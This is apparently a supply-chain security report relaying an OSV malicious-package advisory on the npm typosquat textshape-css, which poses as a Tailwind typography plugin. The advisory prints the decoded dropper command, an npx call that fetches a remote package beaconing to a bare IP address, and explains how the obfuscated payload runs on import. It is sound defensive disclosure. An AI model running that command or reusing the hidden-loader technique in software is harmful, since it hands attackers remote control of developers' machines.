textshape-css
This report shows the evidence for textshape-css@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6475 confirms this npm version as malicious.
Advisory
MAL-2026-6475
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in textshape-css (npm)
Details
The package presents itself as a Tailwind CSS typography plugin (its name, description, and source tree clone @tailwindcss/typography), but src/index.js appends an obfuscated payload that runs at module load. Char-code arrays at the bottom of src/index.js decode to `child_process`, `spawn`/`exec`, `/bin/sh`, and the command `npx -y runtimedev-link@latest --token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9"`. A trailing `_.y();` invokes this immediately whenever any consumer does `require('textshape-css')` / `import 'textshape-css'`. On POSIX it spawns `/bin/sh -c 'nohup... >/dev/null 2>&1'` detached with stdio ignored; on Windows it goes via `child_process.exec` with `windowsHide`. The effect is to fetch and run an unpinned third-party npm package (`runtimedev-link@latest`) that beacons to a bare IP (194.11.226.41:4000) over plain HTTP with an attacker-supplied token — a remote-code-execution dropper. The package name and description are a near-verbatim typosquat of @tailwindcss/typography, targeting developers searching for that plugin.
## Source: ghsa-malware (65fa392a5abf97b05b32644b1085e63b26e3ea3e765e0cda6ab180e1593a0d95) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to textshape-css@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing textshape-css@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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Source advisory published: .
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